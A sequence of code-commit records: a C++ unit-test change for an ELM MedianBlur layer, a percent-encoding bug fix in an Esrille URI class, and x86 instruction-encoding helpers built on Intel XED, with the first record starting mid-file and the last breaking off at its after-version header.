#include "elm/ts/layer_assertions.h"
using namespace std;
using namespace cv;
using namespace elm;
namespace {
ELM_INSTANTIATE_LAYER_TYPED_TEST_CASE_P(MedianBlur);
const string NAME_IN = "in";
const string NAME_OUT_BLURRED = "out";
class MedianBlurTest : public ::testing::Test
{
protected:
virtual void SetUp()
{
config_ = LayerConfig();
// params
PTree params;
params.add(MedianBlur::PARAM_APERTURE_SIZE, 5);
config_.Params(params);
config_.Input(MedianBlur::KEY_INPUT_STIMULUS, NAME_IN);
config_.Output(MedianBlur::KEY_OUTPUT_RESPONSE, NAME_OUT_BLURRED);
to_.reset(new MedianBlur(config_));
}
shared_ptr<base_Layer> to_; ///< test object
LayerConfig config_; ///< default config for tests
};
TEST_F(MedianBlurTest, Reset_EmptyConfig)
{
EXPECT_THROW(to_->Reset(LayerConfig()), boost::property_tree::ptree_bad_path);
}
TEST_F(MedianBlurTest, Param_invalid)
{
int ksize = -7;
while(ksize++ < 17) {
PTree params;
params.add(MedianBlur::PARAM_APERTURE_SIZE, ksize);
config_.Params(params);
if(ksize <= 1.f) {
EXPECT_THROW(to_.reset(new MedianBlur(config_)), ExceptionValueError);
}
else if(ksize % 2 != 0) {
EXPECT_NO_THROW(to_.reset(new MedianBlur(config_)));
}
else {
EXPECT_THROW(to_.reset(new MedianBlur(config_)), ExceptionValueError);
}
}
}
TEST_F(MedianBlurTest, Response_exists)
{
Signal sig;
sig.Append(NAME_IN, Mat1f(10, 10, 1.f));
to_->Activate(sig);
EXPECT_FALSE(sig.Exists(NAME_OUT_BLURRED));
to_->Response(sig);
EXPECT_TRUE(sig.Exists(NAME_OUT_BLURRED));
}
TEST_F(MedianBlurTest, Response_dims)
{
const int R=20;
const int C=20;
for(int r=5; r<R; r++) {
for(int c=5; c<C; c++) {
Signal sig;
sig.Append(NAME_IN, Mat1f(r, c, 1.f));
to_->Activate(sig);
to_->Response(sig);
Mat1f blurred = sig.MostRecentMat1f(NAME_OUT_BLURRED);
EXPECT_EQ(r, blurred.rows);
EXPECT_EQ(c, blurred.cols);
}
}
}
TEST_F(MedianBlurTest, Response_const_valued_input)
{
for(float v=-3.f; v<=3.f; v+=1.5f) {
Signal sig;
Mat1f in(10, 10, v);
sig.Append(NAME_IN, in);
to_->Activate(sig);
to_->Response(sig);
Mat1f blurred = sig.MostRecentMat1f(NAME_OUT_BLURRED);
EXPECT_MAT_EQ(Mat1f(in.rows, in.cols, v), blurred);
}
}
TEST_F(MedianBlurTest, Response_const_valued_input_with_nan)
{
for(float v=-3.f; v<=3.f; v+=1.5f) {
Signal sig;
Mat1f in(10, 10, v);
in(2, 3) = numeric_limits<float>::quiet_NaN();
sig.Append(NAME_IN, in);
to_->Activate(sig);
to_->Response(sig);
Mat1f blurred = sig.MostRecentMat1f(NAME_OUT_BLURRED);
EXPECT_MAT_EQ(Mat1f(in.rows, in.cols, v), blurred);
}
}
/**
* @brief Inspect values of blurred image, when aperture size
* is large (e.g. kszie > 5)
* and we expect a truncation to CV_8U
*/
TEST_F(MedianBlurTest, Response_blurred_values_8u)
{
const int NB_KSZIE_VALUES = 2;
int ksize_values[NB_KSZIE_VALUES] = {7, 9};
for(int i=0; i<NB_KSZIE_VALUES; i++) {
int ksize = ksize_values[i];
ASSERT_GT(ksize, 5); // sanity check
PTree params;
params.add(MedianBlur::PARAM_APERTURE_SIZE, ksize);
config_.Params(params);
to_.reset(new MedianBlur(config_));
Mat1b tmp(ksize, ksize);
randn(tmp, 125.f, 125.f);
Mat1f in = tmp;
Signal sig;
sig.Append(NAME_IN, in);
to_->Activate(sig);
to_->Response(sig);
Mat1f blurred = sig.MostRecentMat1f(NAME_OUT_BLURRED);
float median = Percentile().CalcPercentile(in.reshape(1, 1), 0.5f);
EXPECT_FLOAT_EQ(median, blurred(ksize/2, ksize/2))
<< "Unexpected value at the centre of blurred image with ksize=" << ksize;
}
}
/**
* @brief Inspect values of blurred image when input matches apertrue size
* Ignore off-center elements
*/
TEST_F(MedianBlurTest, Response_blurred_values_median_center)
{
const int NB_KSZIE_VALUES = 2;
int ksize_values[NB_KSZIE_VALUES] = {3, 5};
for(int i=0; i<NB_KSZIE_VALUES; i++) {
int ksize = ksize_values[i];
PTree params;
params.add(MedianBlur::PARAM_APERTURE_SIZE, ksize);
config_.Params(params);
to_.reset(new MedianBlur(config_));
Mat1f in(ksize, ksize);
randn(in, 0.f, 100.f);
Signal sig;
sig.Append(NAME_IN, in);
to_->Activate(sig);
to_->Response(sig);
Mat1f blurred = sig.MostRecentMat1f(NAME_OUT_BLURRED);
float median = Percentile().CalcPercentile(in.reshape(1, 1), 0.5f);
EXPECT_FLOAT_EQ(median, blurred(ksize/2, ksize/2))
<< "Unexpected value at the centre of blurred image with ksize=" << ksize;
}
}
TEST_F(MedianBlurTest, Response_blurred_values_median_center_with_nan)
{
const int NB_KSZIE_VALUES = 2;
int ksize_values[NB_KSZIE_VALUES] = {3, 5};
for(int i=0; i<NB_KSZIE_VALUES; i++) {
int ksize = ksize_values[i];
PTree params;
params.add(MedianBlur::PARAM_APERTURE_SIZE, ksize);
config_.Params(params);
to_.reset(new MedianBlur(config_));
Mat1f in(ksize, ksize);
randn(in, 0.f, 100.f);
in(ksize/2-1, ksize/2-1) = numeric_limits<float>::quiet_NaN();
Signal sig;
sig.Append(NAME_IN, in);
to_->Activate(sig);
to_->Response(sig);
Mat1f blurred = sig.MostRecentMat1f(NAME_OUT_BLURRED);
// ELM_COUT_VAR(in);
// ELM_COUT_VAR(blurred);
EXPECT_EQ(1, countNonZero(isnan(blurred)));
EXPECT_EQ(uchar(255), isnan(blurred)(ksize/2-1, ksize/2-1));
VecF non_nan_values;
Mat1b mask_not_nan = is_not_nan(in);
for(size_t j=0; j<in.total(); j++) {
if(mask_not_nan(j)) {
non_nan_values.push_back(in(j));
}
}
//ELM_COUT_VAR(Mat1f(non_nan_values).reshape(1, 1));
float median_no_nan = Percentile().CalcPercentile(Mat1f(non_nan_values).reshape(1, 1), 0.5f);
float median_with_nan = Percentile().CalcPercentile(in.reshape(1, 1), 0.5f);
bool is_match = (blurred(ksize/2, ksize/2) == median_no_nan) ||
(blurred(ksize/2, ksize/2) == median_with_nan) ||
(blurred(ksize/2, ksize/2-1) == median_no_nan) ||
(blurred(ksize/2, ksize/2-1) == median_with_nan)
;
EXPECT_TRUE(is_match)
<< "Could not find median value in rough centre of blurred image with ksize=" << ksize;
}
}
} // annonymous namespace for test fixtures and test cases
<commit_msg>relax test assertions<commit_after>/*M///////////////////////////////////////////////////////////////////////////////////////
//
// Copyright (c) 2015, Youssef Kashef
// Copyright (c) 2015, ELM Library Project
// 3-clause BSD License
//
//M*/
#include "elm/layers/medianblur.h"
#include <memory>
#include "elm/core/debug_utils.h"
#include "elm/core/cv/mat_utils_inl.h"
#include "elm/core/exception.h"
#include "elm/core/layerconfig.h"
#include "elm/core/percentile.h"
#include "elm/core/signal.h"
#include "elm/ts/layer_assertions.h"
using namespace std;
using namespace cv;
using namespace elm;
namespace {
ELM_INSTANTIATE_LAYER_TYPED_TEST_CASE_P(MedianBlur);
const string NAME_IN = "in";
const string NAME_OUT_BLURRED = "out";
class MedianBlurTest : public ::testing::Test
{
protected:
virtual void SetUp()
{
config_ = LayerConfig();
// params
PTree params;
params.add(MedianBlur::PARAM_APERTURE_SIZE, 5);
config_.Params(params);
config_.Input(MedianBlur::KEY_INPUT_STIMULUS, NAME_IN);
config_.Output(MedianBlur::KEY_OUTPUT_RESPONSE, NAME_OUT_BLURRED);
to_.reset(new MedianBlur(config_));
}
shared_ptr<base_Layer> to_; ///< test object
LayerConfig config_; ///< default config for tests
};
TEST_F(MedianBlurTest, Reset_EmptyConfig)
{
EXPECT_THROW(to_->Reset(LayerConfig()), boost::property_tree::ptree_bad_path);
}
TEST_F(MedianBlurTest, Param_invalid)
{
int ksize = -7;
while(ksize++ < 17) {
PTree params;
params.add(MedianBlur::PARAM_APERTURE_SIZE, ksize);
config_.Params(params);
if(ksize <= 1.f) {
EXPECT_THROW(to_.reset(new MedianBlur(config_)), ExceptionValueError);
}
else if(ksize % 2 != 0) {
EXPECT_NO_THROW(to_.reset(new MedianBlur(config_)));
}
else {
EXPECT_THROW(to_.reset(new MedianBlur(config_)), ExceptionValueError);
}
}
}
TEST_F(MedianBlurTest, Response_exists)
{
Signal sig;
sig.Append(NAME_IN, Mat1f(10, 10, 1.f));
to_->Activate(sig);
EXPECT_FALSE(sig.Exists(NAME_OUT_BLURRED));
to_->Response(sig);
EXPECT_TRUE(sig.Exists(NAME_OUT_BLURRED));
}
TEST_F(MedianBlurTest, Response_dims)
{
const int R=20;
const int C=20;
for(int r=5; r<R; r++) {
for(int c=5; c<C; c++) {
Signal sig;
sig.Append(NAME_IN, Mat1f(r, c, 1.f));
to_->Activate(sig);
to_->Response(sig);
Mat1f blurred = sig.MostRecentMat1f(NAME_OUT_BLURRED);
EXPECT_EQ(r, blurred.rows);
EXPECT_EQ(c, blurred.cols);
}
}
}
TEST_F(MedianBlurTest, Response_const_valued_input)
{
for(float v=-3.f; v<=3.f; v+=1.5f) {
Signal sig;
Mat1f in(10, 10, v);
sig.Append(NAME_IN, in);
to_->Activate(sig);
to_->Response(sig);
Mat1f blurred = sig.MostRecentMat1f(NAME_OUT_BLURRED);
EXPECT_MAT_EQ(Mat1f(in.rows, in.cols, v), blurred);
}
}
TEST_F(MedianBlurTest, Response_const_valued_input_with_nan)
{
for(float v=-3.f; v<=3.f; v+=1.5f) {
Signal sig;
Mat1f in(10, 10, v);
in(2, 3) = numeric_limits<float>::quiet_NaN();
sig.Append(NAME_IN, in);
to_->Activate(sig);
to_->Response(sig);
Mat1f blurred = sig.MostRecentMat1f(NAME_OUT_BLURRED);
EXPECT_MAT_EQ(Mat1f(in.rows, in.cols, v), blurred);
}
}
/**
* @brief Inspect values of blurred image, when aperture size
* is large (e.g. kszie > 5)
* and we expect a truncation to CV_8U
*/
TEST_F(MedianBlurTest, Response_blurred_values_8u)
{
const int NB_KSZIE_VALUES = 2;
int ksize_values[NB_KSZIE_VALUES] = {7, 9};
for(int i=0; i<NB_KSZIE_VALUES; i++) {
int ksize = ksize_values[i];
ASSERT_GT(ksize, 5); // sanity check
PTree params;
params.add(MedianBlur::PARAM_APERTURE_SIZE, ksize);
config_.Params(params);
to_.reset(new MedianBlur(config_));
Mat1b tmp(ksize, ksize);
randn(tmp, 125.f, 125.f);
Mat1f in = tmp;
Signal sig;
sig.Append(NAME_IN, in);
to_->Activate(sig);
to_->Response(sig);
Mat1f blurred = sig.MostRecentMat1f(NAME_OUT_BLURRED);
float median = Percentile().CalcPercentile(in.reshape(1, 1), 0.5f);
EXPECT_FLOAT_EQ(median, blurred(ksize/2, ksize/2))
<< "Unexpected value at the centre of blurred image with ksize=" << ksize;
}
}
/**
* @brief Inspect values of blurred image when input matches apertrue size
* Ignore off-center elements
*/
TEST_F(MedianBlurTest, Response_blurred_values_median_center)
{
const int NB_KSZIE_VALUES = 2;
int ksize_values[NB_KSZIE_VALUES] = {3, 5};
for(int i=0; i<NB_KSZIE_VALUES; i++) {
int ksize = ksize_values[i];
PTree params;
params.add(MedianBlur::PARAM_APERTURE_SIZE, ksize);
config_.Params(params);
to_.reset(new MedianBlur(config_));
Mat1f in(ksize, ksize);
randn(in, 0.f, 100.f);
Signal sig;
sig.Append(NAME_IN, in);
to_->Activate(sig);
to_->Response(sig);
Mat1f blurred = sig.MostRecentMat1f(NAME_OUT_BLURRED);
float median = Percentile().CalcPercentile(in.reshape(1, 1), 0.5f);
EXPECT_FLOAT_EQ(median, blurred(ksize/2, ksize/2))
<< "Unexpected value at the centre of blurred image with ksize=" << ksize;
}
}
/**
* @brief Inspect values of blurred image when input matches apertrue size
* with nan value in the input.
*/
TEST_F(MedianBlurTest, Response_blurred_values_median_center_with_nan)
{
const int NB_KSZIE_VALUES = 2;
int ksize_values[NB_KSZIE_VALUES] = {3, 5};
for(int i=0; i<NB_KSZIE_VALUES; i++) {
int ksize = ksize_values[i];
PTree params;
params.add(MedianBlur::PARAM_APERTURE_SIZE, ksize);
config_.Params(params);
to_.reset(new MedianBlur(config_));
Mat1f in(ksize, ksize);
randn(in, 0.f, 100.f);
in(ksize/2-1, ksize/2-1) = numeric_limits<float>::quiet_NaN();
Signal sig;
sig.Append(NAME_IN, in);
to_->Activate(sig);
to_->Response(sig);
Mat1f blurred = sig.MostRecentMat1f(NAME_OUT_BLURRED);
// ELM_COUT_VAR(in);
// ELM_COUT_VAR(blurred);
EXPECT_EQ(1, countNonZero(isnan(blurred)));
EXPECT_EQ(uchar(255), isnan(blurred)(ksize/2-1, ksize/2-1));
VecF non_nan_values;
Mat1b mask_not_nan = is_not_nan(in);
for(size_t j=0; j<in.total(); j++) {
if(mask_not_nan(j)) {
non_nan_values.push_back(in(j));
}
}
//ELM_COUT_VAR(Mat1f(non_nan_values).reshape(1, 1));
float median_no_nan = Percentile().CalcPercentile(Mat1f(non_nan_values).reshape(1, 1), 0.5f);
float median_with_nan = Percentile().CalcPercentile(in.reshape(1, 1), 0.5f);
bool is_match = elm::find_first_of<float>(blurred, median_no_nan) ||
elm::find_first_of<float>(blurred, median_with_nan);
EXPECT_TRUE(is_match)
<< "Could not find median value in blurred image with ksize=" << ksize;
}
}
} // annonymous namespace for test fixtures and test cases
<|endoftext|>
|
<commit_before>/*
* Copyright 2011 Esrille Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "URI.h"
#include <assert.h>
#include <unicode/uidna.h>
#include "utf.h"
namespace org { namespace w3c { namespace dom { namespace bootstrap {
namespace {
std::string percentEncode(const std::u16string& string, size_t pos, size_t n)
{
std::string encoding;
const char16_t* p = string.c_str() + pos;
for (const char16_t* s = p; s < p + n; ) {
char32_t utf32;
s = utf16to32(s, &utf32);
assert(s);
char utf8[5];
char* end = utf32to8(utf32, utf8);
assert(end);
for (const char* p = utf8; p < end; ++p) {
if (0 <= *p && *p <= 127) {
encoding += *p;
continue;
}
encoding += '%';
char hex[3];
sprintf(hex, "%02X", *p & 0xff);
encoding += hex;
}
}
return encoding;
}
} // namespace
void URI::clear()
{
protocolEnd = 0;
hostStart = hostEnd = 0;
hostnameStart = hostnameEnd = 0;
portStart = portEnd = 0;
pathnameStart = pathnameEnd = 0;
searchStart = searchEnd = 0;
hashStart = hashEnd = 0;
uri.clear();
}
URI::URI(const URL& url)
{
if (url.isEmpty()) {
protocolEnd = 0;
hostStart = hostEnd = 0;
hostnameStart = hostnameEnd = 0;
portStart = portEnd = 0;
pathnameStart = pathnameEnd = 0;
searchStart = searchEnd = 0;
hashStart = hashEnd = 0;
return;
}
uri += percentEncode(url.url, 0, url.protocolEnd);
protocolEnd = uri.length();
// TODO: the following code is HTTP specific.
uri += "//";
hostStart = hostnameStart = uri.length();
if (url.hostnameStart < url.hostnameEnd) {
UChar idn[256];
int32_t len;
UErrorCode status = U_ZERO_ERROR;
len = uidna_IDNToASCII(reinterpret_cast<const UChar*>(url.url.c_str()) + url.hostnameStart, url.hostnameEnd - url.hostnameStart,
idn, 256, UIDNA_DEFAULT, 0, &status);
if (status != U_ZERO_ERROR) {
// TODO: error
clear();
return;
}
for (int32_t i = 0; i < len; ++i)
uri += static_cast<char>(idn[i]);
}
hostnameEnd = uri.length();
if (url.portStart < url.portEnd) {
uri += ':';
portStart = uri.length();
uri += percentEncode(url.url, url.portStart, url.portEnd - url.portStart);
portEnd = uri.length();
} else
portStart = portEnd = 0;
pathnameStart = hostEnd = uri.length();
uri += percentEncode(url.url, url.pathnameStart, url.pathnameEnd - url.pathnameStart);
pathnameEnd = uri.length();
if (url.searchStart < url.searchEnd) {
searchStart = uri.length();
uri += percentEncode(url.url, url.searchStart, url.searchEnd - url.searchStart);
searchEnd = uri.length();
} else
searchStart = searchEnd = 0;
if (url.hashStart < url.hashEnd) {
hashStart = uri.length();
uri += percentEncode(url.url, url.hashStart, url.hashEnd - url.hashStart);
hashEnd = uri.length();
} else
hashStart = hashEnd = 0;
}
}}}} // org::w3c::dom::bootstrap
<commit_msg>(percentEncode) : Fix a bug.<commit_after>/*
* Copyright 2011, 2012 Esrille Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "URI.h"
#include <assert.h>
#include <unicode/uidna.h>
#include "utf.h"
namespace org { namespace w3c { namespace dom { namespace bootstrap {
namespace {
std::string percentEncode(const std::u16string& string, size_t pos, size_t n)
{
std::string encoding;
const char16_t* p = string.c_str() + pos;
for (const char16_t* s = p; s < p + n; ) {
char32_t utf32;
s = utf16to32(s, &utf32);
assert(s);
char utf8[5];
char* end = utf32to8(utf32, utf8);
assert(end);
for (const char* p = utf8; p < end; ++p) {
if (*p <= 0x20 || (*p < 127 && strchr("\"#%<>[\\]^{|}", *p))) {
encoding += '%';
char hex[3];
sprintf(hex, "%02X", *p & 0xff);
encoding += hex;
} else
encoding += *p;
}
}
return encoding;
}
} // namespace
void URI::clear()
{
protocolEnd = 0;
hostStart = hostEnd = 0;
hostnameStart = hostnameEnd = 0;
portStart = portEnd = 0;
pathnameStart = pathnameEnd = 0;
searchStart = searchEnd = 0;
hashStart = hashEnd = 0;
uri.clear();
}
URI::URI(const URL& url)
{
if (url.isEmpty()) {
protocolEnd = 0;
hostStart = hostEnd = 0;
hostnameStart = hostnameEnd = 0;
portStart = portEnd = 0;
pathnameStart = pathnameEnd = 0;
searchStart = searchEnd = 0;
hashStart = hashEnd = 0;
return;
}
uri += percentEncode(url.url, 0, url.protocolEnd);
protocolEnd = uri.length();
// TODO: the following code is HTTP specific.
uri += "//";
hostStart = hostnameStart = uri.length();
if (url.hostnameStart < url.hostnameEnd) {
UChar idn[256];
int32_t len;
UErrorCode status = U_ZERO_ERROR;
len = uidna_IDNToASCII(reinterpret_cast<const UChar*>(url.url.c_str()) + url.hostnameStart, url.hostnameEnd - url.hostnameStart,
idn, 256, UIDNA_DEFAULT, 0, &status);
if (status != U_ZERO_ERROR) {
// TODO: error
clear();
return;
}
for (int32_t i = 0; i < len; ++i)
uri += static_cast<char>(idn[i]);
}
hostnameEnd = uri.length();
if (url.portStart < url.portEnd) {
uri += ':';
portStart = uri.length();
uri += percentEncode(url.url, url.portStart, url.portEnd - url.portStart);
portEnd = uri.length();
} else
portStart = portEnd = 0;
pathnameStart = hostEnd = uri.length();
uri += percentEncode(url.url, url.pathnameStart, url.pathnameEnd - url.pathnameStart);
pathnameEnd = uri.length();
if (url.searchStart < url.searchEnd) {
searchStart = uri.length();
uri += percentEncode(url.url, url.searchStart, url.searchEnd - url.searchStart);
searchEnd = uri.length();
} else
searchStart = searchEnd = 0;
if (url.hashStart < url.hashEnd) {
hashStart = uri.length();
uri += percentEncode(url.url, url.hashStart, url.hashEnd - url.hashStart);
hashEnd = uri.length();
} else
hashStart = hashEnd = 0;
}
}}}} // org::w3c::dom::bootstrap
<|endoftext|>
|
<commit_before>#include "common.h"
#include "x86_helpers.h"
xed_reg_enum_t GetUnusedRegister(xed_reg_enum_t used_register, int operand_width) {
switch (operand_width) {
case 16:
if (used_register == XED_REG_AX) return XED_REG_CX;
return XED_REG_AX;
case 32:
if (used_register == XED_REG_EAX) return XED_REG_ECX;
return XED_REG_EAX;
case 64:
if (used_register == XED_REG_RAX) return XED_REG_RCX;
return XED_REG_RAX;
default:
FATAL("Unexpected operand width");
}
}
xed_reg_enum_t GetFullSizeRegister(xed_reg_enum_t r, int child_ptr_size) {
if (child_ptr_size == 8) {
return xed_get_largest_enclosing_register(r);
} else {
return xed_get_largest_enclosing_register32(r);
}
}
xed_reg_enum_t Get8BitRegister(xed_reg_enum_t r) {
switch (r) {
case XED_REG_AX:
case XED_REG_EAX:
case XED_REG_RAX:
return XED_REG_AL;
case XED_REG_CX:
case XED_REG_ECX:
case XED_REG_RCX:
return XED_REG_CL;
case XED_REG_DX:
case XED_REG_EDX:
case XED_REG_RDX:
return XED_REG_DL;
case XED_REG_BX:
case XED_REG_EBX:
case XED_REG_RBX:
return XED_REG_BL;
case XED_REG_SP:
case XED_REG_ESP:
case XED_REG_RSP:
return XED_REG_SPL;
case XED_REG_BP:
case XED_REG_EBP:
case XED_REG_RBP:
return XED_REG_BPL;
case XED_REG_SI:
case XED_REG_ESI:
case XED_REG_RSI:
return XED_REG_SIL;
case XED_REG_DI:
case XED_REG_EDI:
case XED_REG_RDI:
return XED_REG_DIL;
case XED_REG_R8W:
case XED_REG_R8D:
case XED_REG_R8:
return XED_REG_R8B;
case XED_REG_R9W:
case XED_REG_R9D:
case XED_REG_R9:
return XED_REG_R9B;
case XED_REG_R10W:
case XED_REG_R10D:
case XED_REG_R10:
return XED_REG_R10B;
case XED_REG_R11W:
case XED_REG_R11D:
case XED_REG_R11:
return XED_REG_R11B;
case XED_REG_R12W:
case XED_REG_R12D:
case XED_REG_R12:
return XED_REG_R12B;
case XED_REG_R13W:
case XED_REG_R13D:
case XED_REG_R13:
return XED_REG_R13B;
case XED_REG_R14W:
case XED_REG_R14D:
case XED_REG_R14:
return XED_REG_R14B;
case XED_REG_R15W:
case XED_REG_R15D:
case XED_REG_R15:
return XED_REG_R15B;
default:
FATAL("Unknown register");
}
}
uint32_t Push(xed_state_t *dstate, xed_reg_enum_t r, unsigned char *encoded, size_t encoded_size) {
uint32_t olen;
xed_error_enum_t xed_error;
// push destination register
xed_encoder_request_t push;
xed_encoder_request_zero_set_mode(&push, dstate);
xed_encoder_request_set_iclass(&push, XED_ICLASS_PUSH);
xed_encoder_request_set_effective_operand_width(&push, dstate->stack_addr_width * 8);
xed_encoder_request_set_effective_address_size(&push, dstate->stack_addr_width * 8);
xed_encoder_request_set_reg(&push, XED_OPERAND_REG0, GetFullSizeRegister(r, dstate->stack_addr_width));
xed_encoder_request_set_operand_order(&push, 0, XED_OPERAND_REG0);
xed_error = xed_encode(&push, encoded, (unsigned int)encoded_size, &olen);
if (xed_error != XED_ERROR_NONE) {
FATAL("Error encoding instruction");
}
return olen;
}
uint32_t Pop(xed_state_t *dstate, xed_reg_enum_t r, unsigned char *encoded, size_t encoded_size) {
uint32_t olen;
xed_error_enum_t xed_error;
// push destination register
xed_encoder_request_t pop;
xed_encoder_request_zero_set_mode(&pop, dstate);
xed_encoder_request_set_iclass(&pop, XED_ICLASS_POP);
xed_encoder_request_set_effective_operand_width(&pop, dstate->stack_addr_width * 8);
xed_encoder_request_set_effective_address_size(&pop, dstate->stack_addr_width * 8);
xed_encoder_request_set_reg(&pop, XED_OPERAND_REG0, GetFullSizeRegister(r, dstate->stack_addr_width));
xed_encoder_request_set_operand_order(&pop, 0, XED_OPERAND_REG0);
xed_error = xed_encode(&pop, encoded, (unsigned int)encoded_size, &olen);
if (xed_error != XED_ERROR_NONE) {
FATAL("Error encoding instruction");
}
return olen;
}
void CopyOperandFromInstruction(xed_decoded_inst_t *src,
xed_encoder_request_t *dest,
xed_operand_enum_t src_operand_name,
xed_operand_enum_t dest_operand_name,
int dest_operand_index,
size_t stack_offset)
{
if ((src_operand_name >= XED_OPERAND_REG0) && (src_operand_name <= XED_OPERAND_REG8) &&
(dest_operand_name >= XED_OPERAND_REG0) && (dest_operand_name <= XED_OPERAND_REG8))
{
xed_reg_enum_t r = xed_decoded_inst_get_reg(src, src_operand_name);
xed_encoder_request_set_reg(dest, dest_operand_name, r);
} else if (src_operand_name == XED_OPERAND_MEM0 && dest_operand_name == XED_OPERAND_MEM0) {
xed_encoder_request_set_mem0(dest);
xed_reg_enum_t base_reg = xed_decoded_inst_get_base_reg(src, 0);
xed_encoder_request_set_base0(dest, base_reg);
xed_encoder_request_set_seg0(dest, xed_decoded_inst_get_seg_reg(src, 0));
xed_encoder_request_set_index(dest, xed_decoded_inst_get_index_reg(src, 0));
xed_encoder_request_set_scale(dest, xed_decoded_inst_get_scale(src, 0));
// in case where base is rsp, disp needs fixing
if ((base_reg == XED_REG_SP) || (base_reg == XED_REG_ESP) || (base_reg == XED_REG_RSP)) {
int64_t disp = xed_decoded_inst_get_memory_displacement(src, 0) + stack_offset;
// always use disp width 4 in this case
xed_encoder_request_set_memory_displacement(dest, disp, 4);
} else {
xed_encoder_request_set_memory_displacement(dest,
xed_decoded_inst_get_memory_displacement(src, 0),
xed_decoded_inst_get_memory_displacement_width(src, 0));
}
// int length = xed_decoded_inst_get_memory_operand_length(xedd, 0);
xed_encoder_request_set_memory_operand_length(dest,
xed_decoded_inst_get_memory_operand_length(src, 0));
} else if (src_operand_name == XED_OPERAND_IMM0 && dest_operand_name == XED_OPERAND_IMM0) {
uint64_t imm = xed_decoded_inst_get_unsigned_immediate(src);
uint32_t width = xed_decoded_inst_get_immediate_width(src);
xed_encoder_request_set_uimm0(dest, imm, width);
} else if (src_operand_name == XED_OPERAND_IMM0SIGNED && dest_operand_name == XED_OPERAND_IMM0SIGNED) {
int32_t imm = xed_decoded_inst_get_signed_immediate(src);
uint32_t width = xed_decoded_inst_get_immediate_width(src);
xed_encoder_request_set_simm(dest, imm, width);
} else {
FATAL("Unsupported param");
}
xed_encoder_request_set_operand_order(dest, dest_operand_index, dest_operand_name);
}
uint32_t Mov(xed_state_t *dstate, uint32_t operand_width, xed_reg_enum_t base_reg, int32_t displacement, xed_reg_enum_t r2, unsigned char *encoded, size_t encoded_size) {
uint32_t olen;
xed_error_enum_t xed_error;
xed_encoder_request_t mov;
xed_encoder_request_zero_set_mode(&mov, dstate);
xed_encoder_request_set_iclass(&mov, XED_ICLASS_MOV);
xed_encoder_request_set_effective_operand_width(&mov, operand_width);
xed_encoder_request_set_effective_address_size(&mov, dstate->stack_addr_width * 8);
xed_encoder_request_set_mem0(&mov);
xed_encoder_request_set_base0(&mov, base_reg);
xed_encoder_request_set_memory_displacement(&mov, displacement, 4);
// int length = xed_decoded_inst_get_memory_operand_length(xedd, 0);
xed_encoder_request_set_memory_operand_length(&mov, operand_width / 8);
xed_encoder_request_set_operand_order(&mov, 0, XED_OPERAND_MEM0);
xed_encoder_request_set_reg(&mov, XED_OPERAND_REG0, r2);
xed_encoder_request_set_operand_order(&mov, 1, XED_OPERAND_REG0);
xed_error = xed_encode(&mov, encoded, (unsigned int)encoded_size, &olen);
if (xed_error != XED_ERROR_NONE) {
FATAL("Error encoding instruction");
}
return olen;
}
uint32_t Lzcnt(xed_state_t *dstate, uint32_t operand_width, xed_reg_enum_t dest_reg, xed_reg_enum_t src_reg, unsigned char *encoded, size_t encoded_size) {
uint32_t olen;
xed_error_enum_t xed_error;
xed_encoder_request_t lzcnt;
xed_encoder_request_zero_set_mode(&lzcnt, dstate);
xed_encoder_request_set_iclass(&lzcnt, XED_ICLASS_LZCNT);
xed_encoder_request_set_effective_operand_width(&lzcnt, operand_width);
//xed_encoder_request_set_effective_address_size(&lzcnt, operand_width);
xed_encoder_request_set_reg(&lzcnt, XED_OPERAND_REG0, dest_reg);
xed_encoder_request_set_operand_order(&lzcnt, 0, XED_OPERAND_REG0);
xed_encoder_request_set_reg(&lzcnt, XED_OPERAND_REG1, src_reg);
xed_encoder_request_set_operand_order(&lzcnt, 1, XED_OPERAND_REG1);
xed_error = xed_encode(&lzcnt, encoded, (unsigned int)encoded_size, &olen);
if (xed_error != XED_ERROR_NONE) {
FATAL("Error encoding instruction");
}
return olen;
}
uint32_t CmpImm8(xed_state_t *dstate, uint32_t operand_width, xed_reg_enum_t dest_reg, uint64_t imm, unsigned char *encoded, size_t encoded_size) {
uint32_t olen;
xed_error_enum_t xed_error;
xed_encoder_request_t lzcnt;
xed_encoder_request_zero_set_mode(&lzcnt, dstate);
xed_encoder_request_set_iclass(&lzcnt, XED_ICLASS_CMP);
xed_encoder_request_set_effective_operand_width(&lzcnt, operand_width);
// xed_encoder_request_set_effective_address_size(&lzcnt, operand_width);
xed_encoder_request_set_reg(&lzcnt, XED_OPERAND_REG0, dest_reg);
xed_encoder_request_set_operand_order(&lzcnt, 0, XED_OPERAND_REG0);
xed_encoder_request_set_uimm0_bits(&lzcnt, imm, 8);
xed_encoder_request_set_operand_order(&lzcnt, 1, XED_OPERAND_IMM0);
xed_error = xed_encode(&lzcnt, encoded, (unsigned int)encoded_size, &olen);
if (xed_error != XED_ERROR_NONE) {
FATAL("Error encoding instruction");
}
return olen;
}
uint32_t GetInstructionLength(xed_encoder_request_t *inst) {
unsigned int olen;
unsigned char tmp[15];
xed_error_enum_t xed_error;
xed_error = xed_encode(inst, tmp, sizeof(tmp), &olen);
if (xed_error != XED_ERROR_NONE) {
FATAL("Error encoding instruction");
}
return olen;
}
void FixRipDisplacement(xed_encoder_request_t *inst, size_t mem_address, size_t fixed_instruction_address) {
// fake displacement, just to get length
xed_encoder_request_set_memory_displacement(inst, 0x7777777, 4);
uint32_t inst_length = GetInstructionLength(inst);
size_t instruction_end_addr = fixed_instruction_address + inst_length;
int64_t fixed_disp = (int64_t)(mem_address) - (int64_t)(instruction_end_addr);
if (llabs(fixed_disp) > 0x7FFFFFFF) FATAL("Offset larger than 2G");
xed_encoder_request_set_memory_displacement(inst, fixed_disp, 4);
}
<commit_msg>Update x86_helpers.cpp<commit_after>#include "common.h"
#include "x86_helpers.h"
